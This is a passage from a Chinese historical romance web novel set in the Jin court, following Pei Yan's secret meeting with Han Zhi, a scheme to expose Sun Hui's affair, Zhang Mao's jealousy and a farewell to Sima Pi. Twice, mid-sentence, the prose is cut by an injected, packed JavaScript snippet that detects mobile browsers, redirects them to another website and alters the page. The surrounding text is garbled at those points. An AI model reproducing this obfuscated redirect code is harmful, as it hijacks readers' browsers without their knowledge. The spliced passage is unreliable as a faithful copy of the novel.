张家在景政坊的别庄不大,拢共三进院落。随着安定张氏在凉州的势力越来越大,来往京城与姑臧的人也愈多。这个别庄就是供张家乡党暂居的客用之所。 如今裴妍要来,其他人自然是要暂避的,是以三进院子都空得很。 那管事的婆子殷勤地引裴妍入了正院。 裴妍见内里锦绡帏帐,香炉生烟,四角冰鉴里冰块堆得高高的,知她用了心了。于是命容秋摸出两粒金珠与她。 “多谢施媪,这里无事了。”容秋自是认得她的。 施媪接了赏,留下一队粗使的婢子在外面候命,自己喜笑颜开地退下了。 等人一走,容秋立即肃了脸色,将紧紧捂在手心的蜡丸交与裴妍。 “方才赵将军的牛车经过时,一个婢子突然撞上了我。我扶住她,她却趁人不备,给我塞了这个!” 裴妍狐疑地接过蜡丸,放灯下照了照,没看出什么特别来。 赵泉的下人,给容秋传东西? 她盯着容秋半晌,直把容秋看得汗毛微竖。 一个猜测隐隐浮出水面。裴妍浑身的血液翻腾起来——是了,容秋是她的贴身婢子,能知道容秋的,必然是曾与她相熟的闺中故人! “打开它!” 容秋立即拿匕首将蜡丸切成两半,只见里面一张细长的纸条,所得仅一句话:“午时,一瓯春。” 裴妍颤着手,接过这张字条。 一瓯春?东市的胭脂店?犹记得那年,她初初回京,曾在那里目睹了韩芷的荒唐——是她吗? 裴妍攥紧纸条。 一股暖流自心底漾开,像寂静的冬日里突然出现的一缕暖阳,虽微弱,却烫得人眼眶发热。 这种感觉很奇特——贾家得势时,她们并不算多要好,早年她殷勤地找她玩过几次,可后来不知为何突然对她疏远起来。闻喜三年后,再见面时,她已嫁作妇人,名声却很不好,二人的交集更是少之又少。 可是,当听说贾家一门被屠时,她却时常梦到韩芷来。那个一袭红裙的少女在琵琶翻飞中旋转跳跃,绚丽决绝的舞姿徜徉在五彩斑斓的蜀褥上,仿若暮春时节开出的最艳的花朵。 然而下一瞬,又有什么东西在胸腔里细细地发酵,像是忐忑,又像是恐惧。 她下意识地按住胸口,仿佛这样就能按住那横冲直撞的思绪——韩芷没死,她投靠了赵王的部将。她还暗地里联系自己。她想做什么? 裴妍大概能猜到一些,左不过复仇二字! 她要答应吗?应下之后呢?她能做些什么?万一事败会不会累及家门?贾家已被族灭,韩芷光脚的不怕穿鞋的。可裴家还在。她无法像韩芷那样孤注一掷!但是叔父的仇呢?就这么算了吗? 迟疑在血管里游走,每一步都像踩在薄冰之上,进一步是未知,退一步是不甘。 裴妍闭上眼睛,任由这些矛盾的情绪在脑海里左右撕扯,如同暴风雨前低垂的云层,压得人透不过气来。 她要见一见她!好歹亲戚一场,总要知道她经历了什么,有什么打算。若有可能,她不妨帮她一帮! 翌日一早,裴妍就派人去薛家投了拜帖。过了一个时辰,自己收拾妥当,便带着容秋和听雨出门了。 裴娴还在月子里,看到裴妍那张蜡黄粗粝的脸,还以为她遭了什么大罪。孕妇情绪本就起伏无常,未等裴妍开口,眼泪先哗哗地流下来,倒把裴妍吓了一跳。 “我无事!”裴妍好笑地拿小拇指抠了点下颚的脂膏与她看,“喏,是这个涂的。” 裴娴这才止住泪,颇惊奇地捧着她的脸左右翻看,好一番研究。半晌,才一拍她的肩膀,“不早说,吓死我了!” 裴妍翻了个白眼,都当娘了,还这么一惊一乍的! 裴娴很是高兴,献宝似的,将睡在枕头边的女儿捧给裴妍看。 裴妍有过抱小侄子的经验,抱起这个小女娃来,简直得心应手。 裴娴莞尔:“这就练上了?看来你预备明年也生一个!” “呸!”裴妍啐她,“我明年才脱孝呢!” “哦!那就是后年呗!” “你……” 裴妍逗着孩子,和榻上的裴娴笑闹了半日,紧张的情绪瞬间舒缓许多,只有在裴娴这里她才是真正放松的。 然而不久,薛翊轮值回家,却带来一个不太好的消息——赵王召裴家族长裴邵入京。 “不仅召了裴家,还有崔、荀、王、郑……” 不等他说完,就见裴娴抱着孩子抹泪:“这可如何是好?光我俩陷在京里就算了,如今连我阿耶也被卷了来。赵王想干嘛?他杀了钜鹿郡公还不够,要我阿耶也来祭旗么?” 裴妍是知道赵王打算的。她赶紧把孩子接过来安抚着。 “赵王明晃晃地要夺位。这是想找人给他抬轿子呢!那么多世家的当家人都在,法不责众,你阿耶不会有事的。” 薛翊有些诧异地看向裴妍——没想到月余不见,之前那个憨到家的女郎居然有了这番见识! 他赶紧附和道:“元娘说的没错。不单单各世家,东平王、琅琊王等不少帝室疏族也被叫了来!” 裴娴却更加嚎啕了:“要让赵王当了皇帝,我们还能有个好么?一辈子沉于下僚,当初硬要来京里干嘛!” 薛翊拍着妻子的后背,略为尴尬地看了眼裴妍。 裴妍心里有数,将孩子交于身边的乳母,又安慰了裴娴两句,就出来了。虽说大家心照不宣,但事以密成。她在那,薛翊有些话,反而不好说。 自薛家出来,已近晌午,热辣辣的金阳舔着发燥的路面。 听雨抹了一把脸,甩出去一手汗。就听容秋吩咐车夫去东市的一瓯春。 “元娘要买胭脂?何如让我们去?”听雨看了眼天色,这三伏天,又近正午,热得很,元娘还是早些回府才好,不然中了暑气,他们都得跟着吃挂落! 容秋瞥了他一眼,嗤笑道:“你去?夕岚、苏梅、龙膏烛,你知道哪个?” 听雨挫败得摸摸脑袋,这些玩意儿他听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩芷点头,手抚上胸口,勉励平顺了心气,简明扼要地讲了经过。 原来,贾后执政之初,宠幸男宠还没有后来那么明目张胆。为掩人耳目,往往趁宫门落锁前将选中的面首罩在车里运进宫,夜里宠幸后就秘密处死,翌日再将尸体运出去。 如此,便可万无一失。 赵泉便差点成了贾后裙下的冤魂。他早年落魄为奴,却因长相出众,被贾后的心腹程据选中,差点成了那好死的鬼。 算他命不该绝,就在他要被处死时,恰遇上韩芷经过。 韩芷那时才刚过金钗之龄,见这个年轻的小郎英俊风雅,一时不忍,干脆让程据把他送与自己。程据不敢得罪贾后侄女,便将赵泉送到了韩芷车上。赵泉这才侥幸捡了一命。 韩芷把他带回家后,就给他安排了个马奴的差事,便没再管。几日后,家老来报,说那赵泉偷偷溜了。韩芷也没当回事,溜了就溜了,一个马奴而已,还能翻出浪来? 这么多年过去,她几乎已经忘了这事。直到赵王破宫那日,她和贴身婢子躲到了后宫一处枯井的井底,却还是被两个赵王的手下发现了。就在她以为必死无疑时,却是赵泉救了她。 他趁乱杀了那两个发现她的兵士,又让她和婢子换上他们的衣服,再将那两具尸体抛于井底。趁着兵荒马乱及夜色掩护,这才将她俩救了出来。 “我左靥上的伤就是那时落下的。” 裴妍这才知道,那鲜艳欲滴的面靥后面,是一道可怖的刀疤。 “那赵泉还算有良心。” 韩芷点头,眼里难得露出一抹柔色。然而下一瞬,柔和的眼里却陡然射出尖利的光,如寒刃出鞘。 “他虽救了我,却杀了我阿耶、阿母还有哥哥!别以为我不知道,他和他那个好表兄,就是他俩,屠的贾家满门!他那左卫将军的名号,便是拿我们贾家人的命换来的!” 82. 万里相看忘逆旅,三声清泪落离觞^…… 裴妍一时不知该如何安慰她——救自己的人也是灭自己家族的刽子手,若换作是她,亦不知该如何自处吧? “我就罢了,你的脸是怎么回事?若不是容秋做不得假,我差点认不出你来!”韩芷深深地看向她。 裴妍一摸脸皮,跟着苦笑道:“你既在赵泉身边,想必亦听说了我的事。这是张二郎的主意,在与司马毗了断前,有这个脂膏打掩护,免得外人借着流言兴风作浪。” 韩芷的桃花眼里瞬间波起云涌,似藏了万般情愫,夹杂着一丝艳羡,一丝自伤,一丝妒忌,却很快被她压了下去。她摸着地上的长毛蜀褥,意味深长地道:“你倒是个好命的!” 好命?裴妍点头,与如今孑然一身的韩芷相比,她确实际遇算好的。 “你想方设法见我,可要我做些什么?”裴妍终于问出了想了一夜的问题。 二人如今皆不自由,时间有限,韩芷也不扭捏,直截了当地道:“赵泉的表兄王舆你可知道?” 裴妍点头,昨夜才听张茂说起。 “他的妻子田氏貌美,而孙秀之子孙会贪色,二人早有勾当,常趁着王舆轮值时暗通款曲。此事赵泉亦知情,只是碍于孙家势大,怕王舆冲动,没有对他讲。” 裴妍蹙眉,“赵泉连王舆都没有告诉,如何会……?”让你知道。 韩芷露出一抹讥笑,身子微微往后,慵懒地靠在缇几上,手指不自觉地绕上腰间丝绦。“自是趁他酒醉时套出来的。” “所以,你欲以此离间孙会与王舆?” 韩芷点头,眼巴巴地望着裴妍。 “我本是该死之人,身份见不得光。赵泉肯让我出来见你,已是格外开恩。旁的,却什么也做不了。” 这是想让裴妍做这个局了。 裴妍低头想了会,与她道:“其实,想要赵王性命的何止你我?只需再等上一等……” “我知道,各路诸侯也好,世家也罢,都有别的心思。只是,这么深的血仇,你让我什么都不做,午夜梦回,叫我如何心安?还有你阿叔,他待你委实不薄,你忍心就这么干看着?” 见裴妍沉思,韩芷膝行一步上前,握住她的手,低声道:“大人们行大人们的事,我们行我们的。又不是什么难成的谋划。” 她又道:“若是危险的事,我才不会来找你。如今我们几个,能活一个便多一分胜算。” “我……们?”裴妍瞪大眼睛,“还有谁?” “自是河东公主了。若非她在公主府行动受限,我都不会来劳动你。” 这个裴妍是信的,相比起她来,河东公主与赵王和孙家的仇更深。 “以你今时今日在张茂心里的地位,这点小事想来不难吧?” 不知为何,她提起张茂时,似乎带着一丝咬牙切齿的意味。 裴妍微微点头,很快又摇头。 韩芷脸色一变,正要再劝,却听她道:“此事不难,无需劳动张二郎。” 她想试试,凭她自己。 韩芷舒了口气,却为裴妍如今所展现出的敏锐所慑,不禁抬眸,略带一丝探究地看向她。人还是那个人,然而她总觉得如今的她,与过去大不相同。 临走前,裴妍看了眼周遭,迟疑地问:“这一瓯春的东家……” 看出来了?哎,丧乱之下,连曾经憨顽的人也被逼得聪明起来! “曾是祖母的陪房。”韩芷苦笑,“这也是贾家留下的唯一一根线了。你尽可来这传消息。” 裴妍愣住,眼眶不禁一热。广城君郭槐,她的姨婆,曾是贾家烈火烹油时唯一清醒的人。没想到时至今日,她们还能受到老人家的庇护。 一行人回到别庄,裴妍赶紧命人打来清水,将脸上厚乎乎的脂膏清洗干净。大热天的,涂上这玩意儿就跟在脸上裹了一层厚袄似的,闷得慌。 裴妍将将换了身轻便透气的女装,正半倚在榻上饮茶,张茂后脚就来了。 “看,这是什么?” 裴妍狐疑地接过他手里的锦帙,打开来,瞬间愣住,里面赫然是一卷赤红的婚书,正是司马毗逼着她签下的那份! “你……”她抬眸,眼神复杂地望向张茂。 张茂坦言:“我去见了你姑姑。她听说司马毗逼着你签下婚书,当即命人去了他的别院,将这卷婚书搜出,送还与你。” 裴妍一时五味杂陈,眼眶瞬间红了起来,有感动,有愧疚。不管司马毗为人如何,姑姑待她,确是真心。 她想起阿母曾厉声问她:“还?你拿什么还?” “东海王,还没出来么?”她一时不知该如何是好。既盼着那个伥鬼死在里面,又想着为了姑姑,他还不能死。 “快了!” “司马毗这么快就将钱凑齐了?” 张茂摇头。“还记得我与你母亲说过,你欠东海王府的,由我来还。” “所以,是你救了他?”裴妍瞪大眼睛,狐疑地看向他,“你……哪来的这么多钱!” 张茂见她水汪汪的杏花眼瞪得跟铜铃一样,好笑地道:“我那点私房还要用来娶新妇呢!哪里能这么挥霍?” 裴妍羞得啐了他一口。就见他打开腰扇,坐到缇几旁,优哉游哉地接着道:“不是只有钱可以赎人。” 这话说的,出了钱还能有什么?裴妍好奇地眼珠子都快掉出来了。 张茂莞尔,不再逗她,合扇于掌,教她道:“所谓授人以鱼不如授人以渔。钱固然重要,挣钱的法子更更重要。” 听到挣钱,裴妍的眸子一下子亮了。她虚心又讨好地依偎到张茂身边,将一颗圆滚滚的小脑袋搁在张茂的右手臂上,眨巴着眼听他讲。 “我给了裴妃一张煮海盐的新方子,亩产是过去的翻倍。裴妃将此进献给齐王,可比黄金这等死物值钱。” 裴妍不可置信地看着他:“你家又没有盐场,如何会有这个!” “谁说我家没有?只不过凉州以湖盐与井盐为主,非出自海里罢了!” 原来张家还有盐矿!难怪有钱养兵!裴妍敬服。 “可是,湖盐也好,井盐也罢,与海盐不一样吧!” 张茂拿腰扇轻轻敲了敲裴妍光洁的脑门。 “大道至简。煮盐的方式不同,管理起来却是一个模子。我派暗卫摸过底,齐王盐场的亩产与运往渎口的,数目差很多。” 这,什么意思? 张茂怕她不懂,耐心地与她掰开来讲: “齐王名下的盐场多由心腹统管。然而,再贴心的手下,也会有私欲。我的暗卫顺藤摸瓜,查到他的盐场里,有个姓方的大管事,前两年改进了煮盐的法子,却没有上报。多得的海盐全被他当私盐贩出。” “所以,你便以此威胁,逼那姓方的把法子交了出来?” 他点头。 “哼,真是便宜东海王了!”裴妍讷讷地道。 “无法啊!欲投鼠而忌器。”张茂叹道。 “不过,”他笑盈盈地看向裴妍,“经此一事,你欠裴妃的,也算还了个大概。” 另一厢,东海王府。 司马毗直直地跪在裴妃面前,嘴唇紧抿,眼尾猩红。 一只白玉瓶碎裂在地。裴妃颤着手指他。 “当年生你时,若知道你是个弑舅屠亲的畜生,我就是当即死了,也不会把你带到这个世上来!” 裴绰父子虽被赵王利诱,但怎么说,罪不至死。 “连至亲都不放过,难怪阿妍离你远远的!” 提起裴妍,司马毗眼尾一动,不服气道:“区区一张盐方,竟叫阿母把我与阿妍的婚书还了去?”他已请王导去东海筹措,不日便能将齐王和赵王要的万两黄金凑齐。 “你还有脸提!”裴妃怒道,“若非张二郎仗义出手,齐王能这么快松口?赵王能答应放人?” “何况,”裴妃看着地上的儿子,沉声劝道:“阿妍是人,不是物件。任你们这般争来抢去。可有问过人家乐不乐意?” 司马毗撇过头,双拳紧握,眸中尽是压抑的不甘。 裴妃知他仍未知错,不禁失望的摇头。如今大王入狱,眼看着夺爵在即,家门无人支撑,这个时候,与凉州交恶,能得什么好来?何况,阿妍明晃晃地与那张二郎两情相悦,自家儿子硬要去横插一脚,落得一身埋怨不说,连往日的情分都快耗尽了,算怎么回事儿? 裴妃不再多费口舌,直接命手下去请裴家族老。 “裴绰尚有一女阿妙未出阁,你既毁了人家家门,便照顾她后半生,以此赎罪吧!” 司马毗未想母亲竟做这等打算,当即反对道:“儿不愿!” “呵!这可由不得你。” 自古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297189|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父母之命媒妁之言,合该如此。往日就是太纵着他,才让他越发无状! 言罢裴妃拂袖离去,徒留司马毗跪立于地。 案上的琉璃盏于明灭的烛火中扑闪着清光。 司马毗黯然地看着地上破碎的玉瓶,歪坐于地,以手支额,嗤笑莫名——他费尽心机,到头来,还是,得不到么? …… 翌日一早,张茂果然将八名全副武装的婢子送了来,连带着半夏,也被打包过来做了教习。 裴妍站在廊上,望着庭院里八个与自己一般年岁的女子,站姿笔挺,左右分列,手按腰间佩刀,齐刷刷地看着自己。 一时既激动,又新奇。 裴妍从前只管过婢子,却从没有带过兵。不过她自忖人心都是一样的,你待她们几分好,她们自然也会回报你几分。 于是上来就让容秋给大家分金豆子。 “这是见面礼。” 唬得众人一愣一愣的,都被裴妍的大方震惊了。 裴妍又把昨夜与张茂议定的册子拿出来,人手分了一本。 “你们后面就跟着我了。这是我立的规矩,你们回去好生学一学。有不懂的就问半夏。” “啊?”半夏有些微愣,她自己也才拿到啊! 容秋暗暗朝她使了眼风。 半夏知道裴妍在帮她立威呢,当即板了脸色,粗着嗓子,厉声喝问:“都听明白了?” 众女皆肃然应喏,语音洪亮,气势高昂。裴妍满意的点头。 张家别庄拢共三进院子。裴妍自己占了主院,另有两个客院空着。她命施媪将较大的那处收拾出来,让半夏并这八名武婢入住。当中的园子就做演武场用。在听雨的指点下,内里增设高台、箭靶、沙袋、梅花桩,并刀枪剑戟、斧钺钩叉等兵器,一应物事俱全。 事后,裴妍又将半夏召进内室,将王舆妻子与孙会的事说了,托她设法挑开。 半夏来裴妍这里前,干的就是细作行当。做局再擅长不过。何况,这还是她当上队正后,裴妍交代的首个任务,当即一拍胸口,立下军令状来。 于是,两日后,下晚时分,裴妍正张罗着哺食,就见张茂匆匆进门,给她带来一个小道消息——白日里,那新晋的左卫军将军王舆轮值途中,按制捆在官服腰间的银印青绶不慎落在了家里,于是匆忙回家取物,却在内室捉到个野汉子。 “你道那汉子是谁?”张茂言笑晏晏,目光灼灼地看向裴妍。 “王舆是赵王的心腹,连他的妻子都敢偷,满京城除了孙家那个纨绔,怕找不出第二个人来!” 能压倒宠臣的,只能是更得宠的宠臣,可不就是孙家了? 裴妍边说边神色如常地给他布菜。 “阿妍聪敏,还真是孙会。”张茂莞尔,却不动筷,“据说二人当即拳脚相向。此事闹得四邻街坊人尽皆知,连赵王都惊动了,甚而派义阳王司马威来劝和。” 张茂将裴妍拽到自己身边,问她: “怎么那么巧,偏生那日孙会去了王家,偏生王舆突然折返?” 裴妍自是明白他在说什么。不过她既然敢用半夏,便没打算瞒住他。 “这我如何得知?半夏还没来回话,却先把你招来了!” 哼,倒是坦诚。 张茂肃了脸色,探究地看向她,目光幽幽,如临深渊:“孙会突然去了王家,是因为王舆之妻给他传了字条,道有了他的骨肉。那孙家素来人丁稀薄,孙会自然忙不迭地去确认,这才与王舆撞上。” 哦!原来是这样。看来他已经审过半夏了。 裴妍点头,好计呀,心里默默地为半夏道彩。却听张茂忽而低声问她:“你回京不过几日,如何能知道王家婆娘与孙会有染?”此事连他都不知道! 裴妍脸色一变,哎呦,忘了这茬!半夏的事她没想瞒着,但一瓯春的事……她不禁小心翼翼地看向他:“阿芷的事,你都知道啦?” 话一出口,就见张茂那张原本棱角分明的脸骤然一沉,似有乌云压境。搁在案上的右手已攥成铁拳,指节泛白,青筋暴起,如虬枝盘结。 裴妍留意到他虎口处的厚茧此刻绷得发亮——那是常年握剑留下的印记。她在他身上再次感受到了那股熟悉的杀气。 裴妍惊愕地望向他。 张茂此刻想杀人——韩芷! 83. 日暮汉宫传蜡烛,轻烟散入五侯家^…… 裴妍不禁惊疑,这二人,何时有过交集? 她闷着脑袋回想。于是,年少懵懂时的记忆依稀浮现——上巳节那翻浪的金鲤,船尾不禁意的尖叫,韩芷倒在张茂怀里的娇羞,张茂拒人于千里之外的冷硬……如此,全串了起来! 原来韩芷曾心悦张茂呀!她眼神复杂地看向他。 可是,即便如此,也不至于要杀了人家吧?司马毗还曾抢了她呢!她最多也只是想将他教训一顿,从没想过置人于死地啊! “你是男人,”就听裴妍字斟句酌地道,“当大度些。”有人心悦你,说明你出类拔萃啊! 却见张茂方才还要刀人的眼神瞬间诡异起来,连那一瞬间爆发的杀气都被冲走,取而代之的是哭笑不得的荒诞与无奈。 他很想对裴妍说,你知道她干了什么?居然敢叫我大度! 他一口气憋在心里,上不去,也下不来——韩芷做的那些龌龊事,叫他如何对裴妍说得出口! 半晌,张茂一拍大腿,起身往外走,行吧,大度! “哎?”裴妍唤他,“不用膳啦!” “阿兄明日赴凉州,我去寻他说话。” 裴妍一瞬无语,就没见过感情这么好的兄弟,晚上都要腻在一起! 呆子,跟你哥过去吧! 未几,就见半夏期期艾艾地进得门来。甫一进门就跪地请罪,将事情的始末讲了个大概——原本一切进行得顺利,孙会和王舆都打到外面来了,想掩人耳目都不成。她正躲在人群里瞧热闹呢,却被张家布置在孙会身边的盯梢认了出来,把事情捅到二郎那里去了。 张茂立即命人拿了她细审。那审她的不是别人,是她亲老子! “元娘,奴也是没办法。”不是我无能,实是二郎太警觉啊! 裴妍扶额,没说她什么,不置可否地点点头,安抚两句就让她下去了。 家生子的难处她何尝不知?身家把柄全在别人手上。 她们又和定春、容秋不同。定春与容秋的阿耶当年作战时伤了腿,哥哥又是文职,被打包送来裴家也算得宜。可半夏也好,新来的那八个武婢也罢,家里的父兄都是张家正当年的家臣,不可能放着大好前程不要,过来跟着她这个女人混日子。 哎,她灌了一大口酒。半点不由人哪! 翌日一早,商星未退,东方天际仍沉浸在浓稠的靛蓝之中,将明未明。 裴妍随张茂一起,送别张大郎一行于西郭。 那张家大嫂见到她,比起上回柔和许多。既未多话,亦不失礼,只上车前,与她絮絮交代了些内宅事宜。她或许以为,待她走后,裴妍就要入主张府了。 裴妍并未驳她,只沉声应着——甭管去不去张府住,多了解一些未来夫家的事,没有坏处。 总之,这回贾氏没了初见时的虚情假意,反而显得诚挚许多。 比起一身雍容的贾氏,张寔的穿戴便利落许多。只见他一身玄青劲装,与张茂惜别几句后,便翻身上马,同色发带随风飘展。 他□□的那匹乌骓似极通人性,未待主人勒缰,便已昂首踏蹄,鼻息啾啾,似迫不及待地要驰骋而去。南风拂来,掠过他额前的几缕碎发,更衬得他眉目如刀,眸光沉冷。 “裴家元娘,”他突然回头唤裴妍。 “喏!”裴妍一抖,赶紧应声上前。 看她故作乖巧的模样,张寔忍不住露出一抹浅笑,如虹销雨霁,眉眼里透着一丝揶揄,“我阿弟就交与你了!” “唯……唯!”未等裴妍答完,张茂赶紧拉着她往后退了几步。 就见张寔大掌一挥,发带在风中猎猎震动,乌骓马随之四蹄翻飞,当头冲出,踏碎一地未干的晨露。 他身后随行的亲兵们亦纷纷骑上凉州大马,追随着主人,朝那天地更广阔的西疆疾驰而去。 瞬时,直道上黄沙漫天,遮云蔽日,裴妍呛了几口,挥挥手,只觉自己满头满脸都是沙子。“回去又得沐发!”她忍不住抱怨。 张茂莞尔,揉着她的鬟顶,“娇气!” 待一行人远去后,张家留京的幕僚纷纷簇拥着张茂往回走。 裴妍在无形中被排挤在包围圈外,隐约听他们提到“齐王亦今日去国”,“帝室亲疏族之争愈烈”…… 她挠挠脑袋,隐约懂了,又似乎没明白,想凑上去听得更确切些,却见张茂一个眼风过去,听雨便巴巴地跑过来请她上车。 她百无聊赖地坐回车上,撩开帘子,张茂和那群幕僚还在边走边聊。 “二郎让我们先回别庄。”听雨在车边禀报道。 “那他呢?” “常山王与豫章王昨日下了拜帖,今日要来府里一叙。” 哦!裴妍沉吟。近日赵王召了不少帝室疏族及年幼的诸侯回京。 豫章王是先帝幼子,以前宫中饮宴时裴妍见过几回,印象里是个比较腼腆的人,倒是他的妻子梁氏,挺俏皮伶俐的。 但是常山王……她眉头微蹙,心头似被人狠狠一揪,那不是楚王司马玮的胞弟么! 她怎么隐约记得,楚王当年是死于贾后之手?那时叔父在做什么?可有参与此事?常山王,可会记恨裴家?他回京,想做什么? 可惜她对家里当年的事了解不多。 容秋见裴妍发愣,以为她起得太早累着了。将将把隐囊塞好,想着她回城路上或可歇一觉,却见裴妍突然坐直身子,要她研磨来。 因张茂时常与她共乘,车上笔墨纸砚倒是现成的。 就见裴妍沉着脸,执笔疾书。片刻后,敲敲车窗。 跟在车边的半夏探进头来。 “劳你设法,带封信与钜鹿郡公府三郎。” 半夏将要接过。 裴妍手略抬,低声道:“派个眼生的去,小心尾巴!” 张家的人避不了,赵王的人,总能避过吧? 半夏动作迅速。 裴妍回别庄洗沐更衣后不久,便收到了三哥裴该的回信。 信里他略寒暄两句,就直入主题。九年前他亦未曾出仕,只听父亲提起,当年楚王矫诏妄杀汝南王,贾后因此将其处死。又说到司空张华曾为捉拿楚王献计。至于楚王是否无辜,身为家主的父亲有无参与、是否知情,却不清楚——“多闻阙疑,慎言其余”。 裴妍眉头微蹙。叔父已死,经历此间曲折的人物也大多殒命。裴家清白也好,有罪也罢,都无法自证。哎!是非黑白,不全听他人说? 她突然警觉起来,常山王突然找张茂做什么?他俩什么时候有交情了? 裴妍正读着信,沉思间,却见容秋急急行来,脸色古怪,手里捏着一封拜帖。 “元娘,东海王世子想见你!” 裴妍一惊:“他?在哪?” “就在别庄外!” “凉州的地盘,他也敢来!”半夏听罢就要冲出去打人。 却被容秋一把拽住,无声地朝她使了个眼色。 半夏这才注意到,裴妍愣愣地低着头,盯着手里的帖子不语,似要将上面铁画银钩的“元娘芳启”四字抠出个洞来。 “请他进来。”她听自己如是说。 裴妍没想到,司马毗会来张家寻她。她掩着心口,静静地正坐于席,等着他。 其时正午,烈日骄阳烘得门口的廊道撒白一片。 她看到一个穿绀蝶锦袍的高大身影立在廊下,金线绣成的山水纹在日光下若隐若现,宽肩窄腰的轮廓被玉带勒得分明——他整个人如一柄出鞘的宝剑,带着内敛的锋芒,一步一步向她走来。 容秋和半夏不自觉地挡在她前面。 裴妍却挥手,让她们退下——这里是张茂的地盘,司马毗素来聪明,不会做以卵击石的事。 “婚书已经被我撕了。”裴妍道。 “你果然还是跟了他。”司马毗双手负在身后,看了一圈花厅的布置,摇头,“我不懂,跟着他,与跟着我,有什么区别?为何非要执着?” 裴妍想了想,认真地答道:“我之前,说他仁恕。你反驳了我。我后来觉得,确实说错了。” 她起身,直直行到他面前,对上他的眼睛,没有半分退让。就听她沉声道:“我跟着他,自是因为他能给我你无法给我的东西。” 司马毗蹙眉:“你说兵权?” 裴妍嗤笑,摇头:“那是你们男人梦寐以求的。 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裴妍却忽而笑起来,仿若三月春桃初绽,带着久违的明媚:“这个你大可放心。东海王府我是铁定不会去的。毕竟——我是裴家人。阿妙是我族妹,按制,我要去她家送嫁的。” “倒忘了这茬。”司马毗面上挤出一丝苦笑。 “对了,”裴妍想起什么,自袖囊中掏出一方锦盒,正是当初他给她讨好程太妃的那个,结果还没来得及送出去,她就被张茂救了出来。 “这珠子,我用不上了,还是给阿妙嵌冠子吧。” “呵,”司马毗却冷了脸,嫌弃地撇过头去,“送出去的东西哪有收回的道理!” 他看着裴妍,沉声道:“我母亲没有女儿,你既与我……母亲好一场,这个,便当是她送与你的添妆了。” 见他态度坚决。裴妍无法,只好暂且收下。暗地里却想着,婚礼那天,她也得另寻样宝贝与裴妙添妆,也算还了这份人情。 该讲的已经讲完,该交割的也已交割,是分别的时候了。 司马毗再次贪婪的朝裴妍深深地看了一眼,终于,转身向外走去。 “阿毗!”裴妍突然高声叫住他。 司马毗只觉浑身血液逆流,心里忽而翻腾起一股不切实际的奢望,好似枯木逢春,久旱遇霖。 他立即回身,却听裴妍急急问道:“九年前,楚王是怎么死的?”她突然想起,那时候司马毗已经十四了,总比她知道得多吧! 司马毗只觉一腔热血霎时变凉。 裴妍犹不自觉,上前一步,杏花眼里满是求索:“那时我还小,很多事都搞不明白。可你不是九岁就帮你阿耶理事了么?肯定知道很多内情,对不?” “楚王到底有没有罪?真是娘娘设计的他?我阿叔有没有做什么不好的事?那个常山王,会不会报复我家?” 这等宫闱密辛,非自己人不得说。他们已然桥归桥路归路了,如何有立场谈论这些? 他答是不答? 司马毗扶额,只觉额角又开始一抽一抽的犯疼。 冤孽。他听到心里一个声音在说。 …… 人找人,狗找狗。 东海王甫一出狱,来不及慰藉为他担惊受怕的妻儿老小,亦没与底下幕僚商量,回家沐浴更衣后便赶紧带着厚礼,赴赵王府请罪。一副吓破了胆的模样。 入府后,他一口一个“叔父仁义”,闭着眼称颂赵王“勋冠群僚,国之柱石”,又奉承一旁的孙秀有“萧曹之勋,韦平之重”,直把司马伦与孙秀这两个庸才哄得眉开眼笑。 本来嘛,赵王跟东海王之间就没有什么利害纠葛,甚而因着二人同是帝室疏族,还颇有几分惺惺相惜之情。要不是齐王硬逮着证据要赵王严惩,他也不会拿东海王如何。 如今齐王突然不追究这事了,东海王也颇为上道,厚礼和好话不要命地灌。赵王大悦,当即封司马越为司空,兼任中书监,成为他庞大的受封体系中的一员——可怜世上的老狗又得多杀一只,来续那泛滥的官帽! 84. 宛若西风争嫉妒,芳心郁结情未舒^…… 夜间,热了一天的外间忽然刮起了狂风,继而天边亮了几下,几道闷雷滚过,不久便下起了暴雨。 电闪雷鸣间,槅窗外西府海棠枝丫乱颤,留下一道道模糊的残影。 烛火氤氲,裴妍一手支着下颚,一手摆弄着那枚东珠,还在想白日里司马毗的话。 原来楚王当真是被贾后陷害致死的——贾后先利用汝南王除掉杨骏与杨太后。再假传密诏于楚王,说汝南王谋反,授意楚王除掉汝南王。楚王不知是圈套,前脚刚杀了汝南王,后脚就被贾后扣上了以下犯上、妄除宗室的罪名,被赐死。 常山王彼时还是长沙王,因受胞兄楚王牵累,被贬为郡王。 司马毗说,汝南王与楚王的死,贾后绝不无辜,但“裴公未见得知情。” 裴妍想起叔父的为人,也觉得他不大可能参与这事。 贾后已死,那常山王的头号敌人已经伏诛,如她家这样的秋后蚂蚱,当碍不着他什么吧? 刚想喘口气,就见暗黢黢的内室里不知何时站了个人。 一道电光闪过,照亮了一张玉塑冰雕的脸,竟是张茂! 裴妍大骇,放下东珠,起身道:“你怎么来了?” 往常,张茂因恪守大防,从不会在夜间过来。 裴妍有些尴尬。大伏天的夜晚闷热潮湿,为了惬意些,她只在抱腹外着了一件半透的素绡单衣。 然而这个时候,她已顾不上这些。 裴妍本能地察觉张茂不对劲。她秉烛走近,才发现他衣服洇湿,脚下渗了一地的水。发冠之下几缕碎发散落,贴在颊边。他许是刚到,喘息未定,胸膛犹自起伏着,脸色苍白,两颊却泛红,一双利刃出鞘般的剑眸直勾勾地盯着她。 他似是饮了不少酒,浑身散发着酒味,带着穿雨而来的潮气。 裴妍抬袖,要与他擦拭。他却一偏头,说出的话犹如刀子。 “别人可以来我家找你,我却不能回自家看看?” 